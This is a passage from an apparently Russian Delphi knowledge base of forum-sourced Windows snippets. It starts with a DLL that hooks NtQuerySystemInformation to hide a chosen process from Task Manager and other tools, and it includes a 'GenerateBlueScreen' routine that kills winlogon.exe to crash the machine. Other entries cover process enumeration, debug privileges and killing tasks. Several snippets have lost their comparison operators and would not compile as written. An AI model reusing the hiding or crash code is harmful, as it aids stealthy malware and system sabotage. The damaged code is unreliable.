function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
       ptr2: PBOOL;
begin
 mypid:=0;
 result:=false;
 hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
 addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then
   begin
    CloseHandle(hFirstMapHandle);
    exit;
   end;
 addrMap^:=pid;
 ptr2:=PBOOL(DWORD(addrMap)+4);
 ptr2^:=HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result:=true;
end;

exports
 HideProcess;

var
 hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
   UninterceptFunctions()
 else
  CloseHandle(hFirstMapHandle);
end;

begin
 hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
   mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
   mypid:=mapaddr^;
   hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then
     begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
       if not (ExtractFileName(fname)='taskmgr.exe') then exit;
     end;
   InterceptFunctions;
  finally
   UnmapViewOfFile(mapaddr);
   CloseHandle(Hmap);
   DLLProc:=@LibraryProc;
  end;
end.

Для её использования нужно вызвать функцию HideProcess:

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL,

где
pid - идентификатор процесса, который нужно спрятать

HideOnlyFromTaskManager - нужно ли прятать процесс только от TaskManager'а, или же от остальных программ, использующих для получения списка процессов функцию NtQuerySystemInformation из ntdll.dll.

Пример использования:

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'nthide.dll';
< skipped >
procedure proc;
begin
 HideProcess(GetCurrentProcessId, false); //это спрячет текущий процесс
end;

Автор Curve
Взято из http://forum.sources.ru


Атомы: Запись, чтение и удаление информации

{Act: 0 - Очистка атомов, 1 - чтение атомов, 2 - запись атомов}
{Uniq - Уникальный идентификатор}
{AtomNfo - Информация для записи}
Function AtomDo(Act:integer;Uniq,AtomNfo:string);

 Procedure CleanAtoms;
 var P:PChar;
  i:Word;
 begin
  GetMem(p, 256);
    For i:=0 to $FFFF do
    begin
      GlobalGetAtomName(i, p, 255);
     if StrPos(p, PChar(Uniq))<>nil then GlobalDeleteAtom(i);
    end;
   FreeMem(p);
 end;

 Function ReadAtom:string;
 var P:PChar;
  i:Word;
  begin
    GetMem(p, 256);
    For i:=0 to $FFFF do
   begin
    GlobalGetAtomName(i, p, 255);
    if StrPos(p, PChar(Uniq))<>nil then break;
   end;
      result:=StrPas(p+length(Uniq));
      FreeMem(p);
  end;

begin

  case Act of
  0 : CleanAtoms;
  1 : Result:=ReadAtom;
  2 : begin
      CleanAtoms;
      GlobalAddAtom(PChar(Uniq+AtomNfo));
      end;
end;

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с чужими процессами

Cодержание раздела:

Как можно из своей программы закрыть чужую?
Как можно определить Handle окна,над которым находится мышка?
Как найти окно по неполному названию?
Как вывести результат работы консоли в Memo?
Как завершить задачу в Windows NT (а заодно получить PID задачи)?
Как убить задачу, зная только имя .exe?
Убиваем активное приложение
Как перехватывать события, посланные другим приложениям?
Как эмулировать нажатия клавиш в другой программе?
Как изменить заголовок чужого окна?
Читаем заголовок exe файла
Требуется нажать в другом приложении пару кнопок?
Взаимодействие с чужими окнами
Как, зная Handle окна программы, определить имя EXE Updated!
Пример EnumWindows
Проверить приложение на зависание? New!
How to patch a process? New!
How to get the NT Domain and UserName of a Process? New!
Послать Alt + буква другому приложению New!
Как получить список процессов в Win9x New!
Поиск значения типа DWORD в указанном процессе New!
Получить текст окна, где этого не может WM_GETTEXT New!
Пример процедуры убивающей таймеры по заголовку окна в чужих приложениях написанных на Delphi New!

См. также в других разделах:
Посылаем нажатия клавиш другому приложению


Как можно из своей программы закрыть чужую?

PostThreadMessage(AnotherProg_MainThreadID,WM_CLOSE,0,0);
PostMessage(AnotherProg_MainWindow,WM_CLOSE,0,0);

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru

http://delphi.mastak.ru/download/255.zip

Автор ответа: LENIN INC
Взято с Vingrad.ru http://forum.vingrad.ru


Как можно определить Handle окна,над которым находится мышка?

WindowFromPoint
ChildWindowFromPoint

Автор ответа: rhf
Взято с Vingrad.ru http://forum.vingrad.ru


Как найти окно по неполному названию?

Код не мой, взят где-то из интернета, авторство не помню, я его работоспособность проверял, но почему-то работает не в 100% случаев, копать дальше не было времени, но может кому пригодится и в таком варианте.

type
  PFindWindowStruct = ^TFindWindowStruct;
  TFindWindowStruct = record
    Caption: string;
    ClassName: string;
    WindowHandle: THandle;
  end;

function EnumWindowsProc(hWindow: hWnd; lParam: LongInt): Bool; stdcall;
var
  lpBuffer: PChar;
  WindowCaptionFound: bool;
  ClassNameFound: bool;
begin
  GetMem(lpBuffer, 255);
  Result := True;
  WindowCaptionFound := False;
  ClassNameFound := False;
  try
    if GetWindowText(hWindow, lpBuffer, 255) > 0 then
      if Pos(PFindWindowStruct(lParam).Caption, StrPas(lpBuffer)) > 0 then WindowCaptionFound := true;
    if PFindWindowStruct(lParam).ClassName = '' then
      ClassNameFound := True
    else if GetClassName(hWindow, lpBuffer, 255) > 0 then
      if Pos(PFindWindowStruct(lParam).ClassName, StrPas(lpBuffer)) > 0 then ClassNameFound := True;
    if (WindowCaptionFound and ClassNameFound) then
      begin
        PFindWindowStruct(lParam).WindowHandle := hWindow;
        Result := False;
      end;
  finally
    FreeMem(lpBuffer, sizeof(lpBuffer^));
  end;
end;

function FindAWindow(Caption: string; ClassName: string): THandle;
var WindowInfo: TFindWindowStruct;
begin
  WindowInfo.Caption := Caption;
  WindowInfo.ClassName := ClassName;
  WindowInfo.WindowHandle := 0;
  EnumWindows(@EnumWindowsProc, LongInt(@WindowInfo));
  FindAWindow := WindowInfo.WindowHandle;
end;

procedure TForm1.Button1Click(Sender: TObject);
var TheWindowHandle: THandle;
begin
  TheWindowHandle := FindAWindow('Opera', '');
  if TheWindowHandle <> 0 then
    begin
      Showwindow(TheWindowHandle, sw_restore);
      BringWindowToTop(TheWindowHandle);
    end
  else
    ShowMessage('Window Not Found!');
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

function TForm1.Find(s: string): hWnd;
var Wnd: hWnd;
  buff: array[0..127] of Char;
begin
  Find := 0;
  Wnd := GetWindow(Handle, gw_HWndFirst);
  while Wnd <> 0 do
    begin
      if (Wnd <> Application.Handle) and
        IsWindowVisible(Wnd) and
        (GetWindow(Wnd, gw_Owner) = 0) and
        (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) then
        begin
          GetWindowText(Wnd, buff, sizeof(buff));
          if pos(s, StrPas(buff)) > 0 then
            begin
              Find := Wnd;
              Break;
            end;
        end;
      Wnd := GetWindow(Wnd, gw_hWndNext);
    end;
end;

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Как вывести результат работы консоли в Memo?

Код взят из http://www.torry.net/memos.htm

procedure Dos2Win(CmdLine:String; OutMemo:TMemo);
const BUFSIZE = 2000;
var SecAttr    : TSecurityAttributes;
    hReadPipe,
    hWritePipe : THandle;
    StartupInfo: TStartUpInfo;
    ProcessInfo: TProcessInformation;
    Buffer     : Pchar;
    WaitReason,
    BytesRead  : DWord;
begin

 with SecAttr do
 begin
   nlength              := SizeOf(TSecurityAttributes);
   binherithandle       := true;
   lpsecuritydescriptor := nil;
 end;
 // Creazione della pipe
 if Createpipe (hReadPipe, hWritePipe, @SecAttr, 0) then
 begin
   Buffer  := AllocMem(BUFSIZE + 1);    // Allochiamo un buffer di dimensioni BUFSIZE+1
   FillChar(StartupInfo, Sizeof(StartupInfo), #0);
   StartupInfo.cb          := SizeOf(StartupInfo);
   StartupInfo.hStdOutput  := hWritePipe;
   StartupInfo.hStdInput   := hReadPipe;
   StartupInfo.dwFlags     := STARTF_USESTDHANDLES +
                              STARTF_USESHOWWINDOW;
   StartupInfo.wShowWindow := SW_HIDE;

   if CreateProcess(nil,
      PChar(CmdLine),
      @SecAttr,
      @SecAttr,
      true,
      NORMAL_PRIORITY_CLASS,
      nil,
      nil,
      StartupInfo,
      ProcessInfo) then
     begin
       // Attendiamo la fine dell'esecuzione del processo
       repeat
         WaitReason := WaitForSingleObject( ProcessInfo.hProcess,100);
         Application.ProcessMessages;
       until (WaitReason <> WAIT_TIMEOUT);
       // Leggiamo la pipe
       Repeat
         BytesRead := 0;
         // Leggiamo "BUFSIZE" bytes dalla pipe
         ReadFile(hReadPipe, Buffer[0], BUFSIZE, BytesRead, nil);
         // Convertiamo in una stringa "\0 terminated"
         Buffer[BytesRead]:= #0;
         // Convertiamo i caratteri da DOS ad ANSI
         OemToAnsi(Buffer,Buffer);
         // Scriviamo nell' "OutMemo" l'output ricevuto tramite pipe
         OutMemo.Text := OutMemo.text + String(Buffer);
       until (BytesRead < BUFSIZE);
     end;
   FreeMem(Buffer);
   CloseHandle(ProcessInfo.hProcess);
   CloseHandle(ProcessInfo.hThread);
   CloseHandle(hReadPipe);
   CloseHandle(hWritePipe);
 end;
end;
Взято с Vingrad.ru http://forum.vingrad.ru

А это исправленный Song'ом вариант для обеспечения вывода текста в real-time:

procedure RunDosInMemo(CmdLine:String;AMemo:TMemo);
 const
   ReadBuffer = 2400;
 var
  Security       : TSecurityAttributes;
  ReadPipe,WritePipe  : THandle;
  start        : TStartUpInfo;
  ProcessInfo     : TProcessInformation;
  Buffer        : Pchar;
  BytesRead      : DWord;
  Apprunning      : DWord;
 begin
  Screen.Cursor:=CrHourGlass;
  Form1.Button1.Enabled:=False;
  With Security do begin
  nlength        := SizeOf(TSecurityAttributes);
  binherithandle    := true;
  lpsecuritydescriptor := nil;
  end;
  if Createpipe (ReadPipe, WritePipe,
         @Security, 0) then begin
  Buffer  := AllocMem(ReadBuffer + 1);
  FillChar(Start,Sizeof(Start),#0);
  start.cb      := SizeOf(start);
  start.hStdOutput  := WritePipe;
  start.hStdInput  := ReadPipe;
  start.dwFlags   := STARTF_USESTDHANDLES +
             STARTF_USESHOWWINDOW;
  start.wShowWindow := SW_HIDE;

  if CreateProcess(nil,
      PChar(CmdLine),
      @Security,
      @Security,
      true,
      NORMAL_PRIORITY_CLASS,
      nil,
      nil,
      start,
      ProcessInfo)
  then
  begin
   repeat
   Apprunning := WaitForSingleObject
          (ProcessInfo.hProcess,100);
    ReadFile(ReadPipe,Buffer[0],
       ReadBuffer,BytesRead,nil);
    Buffer[BytesRead]:= #0;
    OemToAnsi(Buffer,Buffer);
    AMemo.Text := AMemo.text + String(Buffer);

   Application.ProcessMessages;
   until (Apprunning <> WAIT_TIMEOUT);
  end;
  FreeMem(Buffer);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  CloseHandle(ReadPipe);
  CloseHandle(WritePipe);
  end;
  Screen.Cursor:=CrDefault;
  Form1.Button1.Enabled:=True;
 end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 Memo1.Clear;
 RunDosInMemo('ping -t 192.168.28.200',Memo1);
end;

Взято с Vingrad.ru http://forum.vingrad.ru

Автор: Алексей Бойко

Это пример запуска консольных программ с передачей ей консольного ввода (как если бы он был введен с клавиатуры после запуска программы) и чтением консольного вывода. Таким способом можно запускать например стандартный виндовый ftp.exe (в невидимом окне) и тем самым отказаться от использования специализированных, зачастую глючных компонент.

function ExecuteFile(FileName,StdInput: string;
                     TimeOut: integer;
                     var StdOutput:string) : boolean;

label Error;

type
  TPipeHandles = (IN_WRITE,  IN_READ,
                  OUT_WRITE, OUT_READ,
                  ERR_WRITE, ERR_READ);

type
  TPipeArray = array [TPipeHandles] of THandle;

var
  i         : integer;
  ph        : TPipeHandles;
  sa        : TSecurityAttributes;
  Pipes     : TPipeArray;
  StartInf  : TStartupInfo;
  ProcInf   : TProcessInformation;
  Buf       : array[0..1024] of byte;
  TimeStart : TDateTime;

function ReadOutput : string;
var
  i : integer;
  s : string;
  BytesRead : longint;

begin
  Result := '';
  repeat

    Buf[0]:=26;
    WriteFile(Pipes[OUT_WRITE],Buf,1,BytesRead,nil);
    if ReadFile(Pipes[OUT_READ],Buf,1024,BytesRead,nil) then
    begin
      if BytesRead>0 then
      begin
        buf[BytesRead]:=0;
        s := StrPas(@Buf[0]);
        i := Pos(#26,s);
        if i>0 then s := copy(s,1,i-1);
        Result := Result + s;
      end;
    end;

    if BytesRead1024 then break;
  until false;
end;

begin
  Result := false;
  for ph := Low(TPipeHandles) to High(TPipeHandles) do
    Pipes[ph] := INVALID_HANDLE_VALUE;

  // Создаем пайпы
  sa.nLength := sizeof(sa);
  sa.bInheritHandle := TRUE;
  sa.lpSecurityDescriptor := nil;

  if not CreatePipe(Pipes[IN_READ],Pipes[IN_WRITE], @sa, 0 ) then
    goto Error;
  if not CreatePipe(Pipes[OUT_READ],Pipes[OUT_WRITE], @sa, 0 ) then
    goto Error;
  if not CreatePipe(Pipes[ERR_READ],Pipes[ERR_WRITE], @sa, 0 ) then
    goto Error;

  // Пишем StdIn
  StrPCopy(@Buf[0],stdInput+^Z);
  WriteFile(Pipes[IN_WRITE],Buf,Length(stdInput),i,nil);

  // Хендл записи в StdIn надо закрыть - иначе выполняемая программа
  // может не прочитать или прочитать не весь StdIn.

  CloseHandle(Pipes[IN_WRITE]);

  Pipes[IN_WRITE] := INVALID_HANDLE_VALUE;

  FillChar(StartInf,sizeof(TStartupInfo),0);
  StartInf.cb := sizeof(TStartupInfo);
  StartInf.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;

  StartInf.wShowWindow := SW_SHOW; // SW_HIDE если надо запустить невидимо

  StartInf.hStdInput := Pipes[IN_READ];
  StartInf.hStdOutput := Pipes[OUT_WRITE];
  StartInf.hStdError := Pipes[ERR_WRITE];

  if not CreateProcess(nil, PChar(FileName), nil,
                       nil, True, NORMAL_PRIORITY_CLASS,
                       nil, nil, StartInf, ProcInf) then goto Error;

  TimeStart := Now;

  repeat
    Application.ProcessMessages;
    i := WaitForSingleObject(ProcInf.hProcess,100);
    if i = WAIT_OBJECT_0 then break;
    if (Now-TimeStart)*SecsPerDay>TimeOut then break;
  until false;

  if iWAIT_OBJECT_0 then goto Error;
  StdOutput := ReadOutput;

  for ph := Low(TPipeHandles) to High(TPipeHandles) do
    if Pipes[ph]INVALID_HANDLE_VALUE then
      CloseHandle(Pipes[ph]);

  CloseHandle(ProcInf.hProcess);
  CloseHandle(ProcInf.hThread);
  Result := true;
  Exit;

Error:

  if ProcInf.hProcessINVALID_HANDLE_VALUE then

  begin
    CloseHandle(ProcInf.hThread);
    i := WaitForSingleObject(ProcInf.hProcess, 1000);
    CloseHandle(ProcInf.hProcess);
    if iWAIT_OBJECT_0 then

    begin
      ProcInf.hProcess := OpenProcess(PROCESS_TERMINATE,
                                      FALSE,
                                      ProcInf.dwProcessId);

      if ProcInf.hProcess  0 then
      begin
        TerminateProcess(ProcInf.hProcess, 0);
        CloseHandle(ProcInf.hProcess);
      end;
    end;
  end;

  for ph := Low(TPipeHandles) to High(TPipeHandles) do
    if Pipes[ph]INVALID_HANDLE_VALUE then
      CloseHandle(Pipes[ph]);

end;
Взято из http://forum.sources.ru


Как завершить задачу в Windows NT (а заодно получить PID задачи)?

Ниже приведён unit, который позволяет убить задачу в Windows NT.

Entry :
function Kill_By_Pid(pid : longint) : integer;
  где pid, это число, представляющее pid задачи

function EnumProcessWithPid(list : TStrings) : integer;
где список, это объект TStrings, который будет содержать имя задачи и pid в полях Object.
( list.Items[i] для имени, integer(list.Object[i]) для PID)

Дальше следует сам код:

procedure GenerateBlueScreen;
var
  Task : TStringList;
  i : integer;
begin
  Task := TStringList.Create;
  Try
    EnumProcessWithPid(Task);
    for i := 0 to Task.Count - 1 do
    begin
      TaskName := UpperCase(Task[i]);
      if (TaskName = 'WINLOGON.EXE') then
      begin // Generate a nice BlueScreenOfDeath
        Kill_By_Pid(integer(Task.Objects[i]));
        Beep;
        break;
      end;
    end;
  Finally
    Task.Free;
  end;
end;

unit U_Kill;
{** JF 15/02/2000 - U_Kill.pas
** This unit allow you to list and to kill runnign process. (Work only on NT)
** Entry point : EnumProcessWithPid and Kill_By_Pid.
** v1.2 JF correct a bug in Kill_By_Pid
** v1.3 JF change a thing for D5 05/09/2000
**}
interface

uses
Classes;

//** Error code **//
const
KILL_NOERR = 0;
KILL_NOTSUPPORTED = -1;
KILL_ERR_OPENPROCESS = -2;
KILL_ERR_TERMINATEPROCESS = -3;

ENUM_NOERR = 0;
ENUM_NOTSUPPORTED = -1;
ENUM_ERR_OPENPROCESSTOKEN = -2;
ENUM_ERR_LookupPrivilegeValue = -3;
ENUM_ERR_AdjustTokenPrivileges = -4;

GETTASKLIST_ERR_RegOpenKeyEx = -1;
GETTASKLIST_ERR_RegQueryValueEx = -2;

function Kill_By_Pid(pid : longint) : integer;
function EnumProcessWithPid(list : TStrings) : integer;

implementation
uses
  Windows,
  Registry,
  SysUtils;
var
  VerInfo : TOSVersionInfo;
const
  SE_DEBUG_NAME = 'SeDebugPrivilege';
  INITIAL_SIZE  =     51200;
  EXTEND_SIZE   =     25600;
  REGKEY_PERF   =     'software\microsoft\windows nt\currentversion\perflib';
  REGSUBKEY_COUNTERS ='Counters';
  PROCESS_COUNTER    ='process';
  PROCESSID_COUNTER  ='id process';
  UNKNOWN_TASK       ='unknown';
type
  ArrayOfChar = array[0..1024] of char;
  pArrayOfChar = ^pArrayOfChar;
type
  TPerfDataBlock = record
    Signature       : array[0..3] of WCHAR;
    LittleEndian    : DWORD;
    Version         : DWORD;
    Revision        : DWORD;
    TotalByteLength : DWORD;
    HeaderLength    : DWORD;
    NumObjectTypes  : DWORD;
    DefaultObject   : integer;
    SystemTime      : TSystemTime;
    PerfTime        : TLargeInteger;
    PerfFreq        : TLargeInteger;
    PerfTime100nSec : TLargeInteger;
    SystemNameLength: DWORD;
    SystemNameOffset: DWORD;
  end;
  pTPerfDataBlock = ^TPerfDataBlock;
  TPerfObjectType = record
    TotalByteLength    : DWORD;
    DefinitionLength   : DWORD;
    HeaderLength       : DWORD;
    ObjectNameTitleIndex : DWORD;
    ObjectNameTitle    : LPWSTR;
    ObjectHelpTitleIndex : DWORD;
    ObjectHelpTitle      : LPWSTR;
    DetailLevel          : DWORD;
    NumCounters          : DWORD;
    DefaultCounter       : integer;
    NumInstances         : integer;
    CodePage             : DWORD;
    PerfTime             : TLargeInteger;
    PerfFreq             : TLargeInteger;
  end;
  pTPerfObjectType       = ^TPerfObjectType;
  TPerfInstanceDefinition = record
     ByteLength           : DWORD;
     ParentObjectTitleIndex : DWORD;
     ParentObjectInstance   : DWORD;
     UniqueID               : integer;
     NameOffset             : DWORD;
     NameLength             : DWORD;
  end;
  pTPerfInstanceDefinition = ^TPerfInstanceDefinition;

  TPerfCounterBlock = record
    ByteLength      : DWORD;
  end;
  pTPerfCounterBlock = ^TPerfCounterBlock;

  TPerfCounterDefinition = record
    ByteLength               : DWORD;
    CounterNameTitleIndex    : DWORD;
    CounterNameTitle         : LPWSTR;
    CounterHelpTitleIndex    : DWORD;
    CounterHelpTitle         : LPWSTR;
    DefaultScale             : integer;
    DetailLevel              : DWORD;
    CounterType              : DWORD;
    CounterSize              : DWORD;
    CounterOffset            : DWORD;
  end;
  pTPerfCounterDefinition = ^TPerfCounterDefinition;

procedure InitKill;
begin
  VerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(VerInfo);
end;

(*
#define MAKELANGID(p, s)       ((((WORD  )(s)) << 10) | (WORD  )(p))
*)
function MAKELANGID(p : DWORD ; s : DWORD) : word;
begin
  result := (s shl 10) or (p);
end;

function Kill_By_Pid(pid : longint) : integer;
var
  hProcess : THANDLE;
  TermSucc : BOOL;
begin
  if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
  begin
    hProcess := OpenProcess(PROCESS_ALL_ACCESS, true, pid);
    if (hProcess = 0) then // v 1.2 : was =-1
    begin
      result := KILL_ERR_OPENPROCESS;
    end
    else
    begin
      TermSucc := TerminateProcess(hProcess, 0);
      if (TermSucc = false) then
        result := KILL_ERR_TERMINATEPROCESS
      else
        result := KILL_NOERR;
    end;
  end
  else
    result := KILL_NOTSUPPORTED;
end;

function  EnableDebugPrivilegeNT : integer;
var
  hToken : THANDLE;
  DebugValue : TLargeInteger;
  tkp : TTokenPrivileges ;
  ReturnLength : DWORD;
  PreviousState: TTokenPrivileges;
begin
  if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) = false) then
    result := ENUM_ERR_OPENPROCESSTOKEN
  else
  begin
    if (LookupPrivilegeValue(nil, SE_DEBUG_NAME, DebugValue) = false) then
      result := ENUM_ERR_LookupPrivilegeValue
    else
    begin
      ReturnLength := 0;
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Luid := DebugValue;
      tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TTokenPrivileges),PreviousState , ReturnLength);
      if (GetLastError <> ERROR_SUCCESS) then
        result := ENUM_ERR_AdjustTokenPrivileges
      else
        result := ENUM_NOERR;
    end;
  end;
end;

function  IsDigit(c : char) : boolean;
begin
  result := (c>='0') and (c<='9');
end;

function  min(a,b : integer) : integer;
begin
  if (a < b) then result := a
  else result := b;
end;

function  GetTaskListNT(pTask : TStrings) : integer;
var
  rc      : DWORD;
  hKeyNames : HKEY;
  dwType    : DWORD;
  dwSize    : DWORd;
  buf       : PBYTE;
  szSubkey  : array[0..1024] of char;
  lid       : LANGID;
  p         : PCHAR;
  p2        : PCHAR;
  pPerf     : pTPerfDataBlock;
  pObj      : pTPerfObjectType;
  pInst     : pTPerfInstanceDefinition;
  pCounter  : pTPerfCounterBlock;
  pCounterDef : pTPerfCounterDefinition;
  i           : DWORD;
  dwProcessIdTitle : DWORD;
  dwProcessIdCounter : DWORD;
  szProcessName : array[0..MAX_PATH] of char;
  dwLimit       : DWORD;
  dwNumTasks    : dword;

  ProcessName   : array[0..MAX_PATH] of char;
  dwProcessID   : DWORD;
label
  EndOfProc;
begin
  dwNumTasks := 255;
  dwLimit := dwNumTasks - 1;
  StrCopy(ProcessName, '');
  lid := MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL);
  StrFmt(szSubKey, '%s\%.3X', [REGKEY_PERF, lid]);
  rc := RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0, KEY_READ, hKeyNames);
  if (rc <> ERROR_SUCCESS) then
    result := GETTASKLIST_ERR_RegOpenKeyEx
  else
  begin
    result := 0;
    rc := RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, nil, @dwSize);
    if (rc <> ERROR_SUCCESS) then
      result := GETTASKLIST_ERR_RegQueryValueEx
    else
    begin
      GetMem(buf, dwSize);
      FillChar(buf^, dwSize, 0);
      RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, buf, @dwSize);
      p := PCHAR(buf);
      dwProcessIdTitle := 0;
      while (p^<>#0) do
      begin
        if (p > buf) then
        begin
          p2 := p - 2;
          while(isDigit(p2^)) do
            dec(p2);
        end;
        if (StrIComp(p, PROCESS_COUNTER) = 0) then
        begin
          p2 := p -2;
          while(isDigit(p2^)) do
            dec(p2);
          strCopy(szSubKey, p2+1);
        end
        else
        if (StrIComp(p, PROCESSID_COUNTER) = 0) then
        begin
          p2 := p - 2;
          while(isDigit(p2^)) do
            dec(p2);
           dwProcessIdTitle := StrToIntDef(p2+1, -1);
        end;
        p := p + (Length(p) + 1);
      end;
      FreeMem(buf); buf := nil;
      dwSize := INITIAL_SIZE;
      GetMem(buf, dwSize);
      FillChar(buf^, dwSize, 0);
      pPerf := nil;
      while (true) do
      begin
        rc := RegQueryValueEx(HKEY_PERFORMANCE_DATA, szSubKey, nil, @dwType, buf, @dwSize);
        pPerf := pTPerfDataBlock(buf);
        if ((rc = ERROR_SUCCESS) and (dwSize > 0) and
            (pPerf^.Signature[0] = WCHAR('P')) and
            (pPerf^.Signature[1] = WCHAR('E')) and
            (pPerf^.Signature[2] = WCHAR('R')) and
            (pPerf^.Signature[3] = WCHAR('F'))
            ) then
        begin
          break;
        end;
        if (rc = ERROR_MORE_DATA) then
        begin
          dwSize := dwSize + EXTEND_SIZE;
          FreeMem(buf); buf := nil;
          GetMem(buf, dwSize);
          FillChar(buf^, dwSize, 0);
        end
        else
          goto EndOfProc;
      end;

      pObj := pTPerfObjectType( DWORD(pPerf) + pPerf^.HeaderLength);

      pCounterDef := pTPerfCounterDefinition( DWORD(pObj) + pObj^.HeaderLength);
      dwProcessIdCounter := 0;
      i := 0;
      while (i < pObj^.NumCounters) do
      begin
        if (pCounterDef^.CounterNameTitleIndex = dwProcessIdTitle) then
        begin
          dwProcessIdCounter := pCounterDEf^.CounterOffset;
          break;
        end;
        inc(pCounterDef);
        inc(i);
      end;
      dwNumTasks := min(dwLimit, pObj^.NumInstances);
      pInst := PTPerfInstanceDefinition(DWORD(pObj) + pObj^.DefinitionLength);

      i := 0;
      while ( i < dwNumTasks) do
      begin
        p := PCHAR(DWORD(pInst)+pInst^.NameOffset);
        rc := WideCharToMultiByte(CP_ACP, 0, LPCWSTR(p), -1, szProcessName, SizeOf(szProcessName), nil, nil);
        {** This is changed for working with D3 and D5 05/09/2000 **}
        if (rc = 0) then
          StrCopy(ProcessName, UNKNOWN_TASK)
        else
          StrCopy(ProcessName, szProcessName);
        // Получаем ID процесса
        pCounter := pTPerfCounterBlock( DWORD(pInst) + pInst^.ByteLength);
        dwProcessId := LPDWORD(DWORD(pCounter) + dwProcessIdCounter)^;
        if (dwProcessId = 0) then
          dwProcessId := DWORD(0);
        pTask.AddObject(ProcessName, TObject(dwProcessID));
        pInst := pTPerfInstanceDefinition( DWORD(pCounter) + pCounter^.ByteLength);
        inc(i);
      end;
      result := dwNumTasks;
    end;
  end;
EndOfProc:
  if (buf <> nil) then
    FreeMem(buf);
  RegCloseKey(hKeyNames);
  RegCloseKey(HKEY_PERFORMANCE_DATA);
  RegCloseKey(hKeyNames);
  RegCloseKey(HKEY_PERFORMANCE_DATA);
end;

function EnumProcessWithPid(list : TStrings) : integer;
begin
  if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
  begin
    EnableDebugPrivilegeNT;
    result := GetTaskListNT(list);
  end
  else
    result := ENUM_NOTSUPPORTED;
end;

initialization
  InitKill;
end.

Взято из http://forum.sources.ru


Как убить задачу, зная только имя .exe?

Эта небольшая функция закрывает приложения, соответствующие заданному имени .exe.
  Пример: KillTask('notepad.exe');
                  KillTask('iexplore.exe'); }

uses
  Tlhelp32, Windows, SysUtils;

function KillTask(ExeFileName: string): integer;
const
  PROCESS_TERMINATE=$0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;

  FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle,
                                 FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
         UpperCase(ExeFileName))
     or (UpperCase(FProcessEntry32.szExeFile) =
         UpperCase(ExeFileName))) then
      Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0));
    ContinueLoop := Process32Next(FSnapshotHandle,
                                  FProcessEntry32);
  end;

  CloseHandle(FSnapshotHandle);
end;

Взято из http://forum.sources.ru


Убиваем активное приложение

Автор: Dale Berry

Данная функция позволяет завершить выполнение любой активной программы по её classname или заголовку окна.

procedure KillProgram(Classname : string; WindowTitle : string);
const
  PROCESS_TERMINATE = $0001;
var
  ProcessHandle : THandle;
  ProcessID: Integer;
  TheWindow : HWND;
begin
  TheWindow := FindWindow(Classname, WindowTitle);
  GetWindowThreadProcessID(TheWindow, @ProcessID);
  ProcessHandle := OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
  TerminateProcess(ProcessHandle,4);
end;

Комментарии

Xianguang Li (22 Октября 2000)

В Delphi 5, при компиляции получается следующая ошибка :
Incompatible types: 'String' and 'PChar'.
После изменения выражения
TheWindow := FindWindow(ClassName, WindowTitle)
на
TheWindow := FindWindow(PChar(ClassName), PChar(WindowTitle)) ,
Нормально откомпилировалось.
И ещё: если мы не знаем ClassName или WindowTitle программы, которую мы хотим убить,
то мы не сможем её завершить. Причина в том, что нельзя вызвать функцию в виде:
KillProgram(nil, WindowTitle)
или
KillProgram(ClassName, nil).
Компилятор не позволяет передать nil в переменную типа String.
Итак, я изменил объявление
KillProgram(ClassName: string; WindowTitle: string)
на
KillProgram(ClassName: PChar; WindowTitle: PChar),
вот теперь функция действительно может завершить любое приложение, если вы не знаете
ClassName или WindowTitle этого приложения.

Взято из http://forum.sources.ru


Как перехватывать события, посланные другим приложениям?

Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook).
Например, такая ловушка может отслеживать все события,
связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.

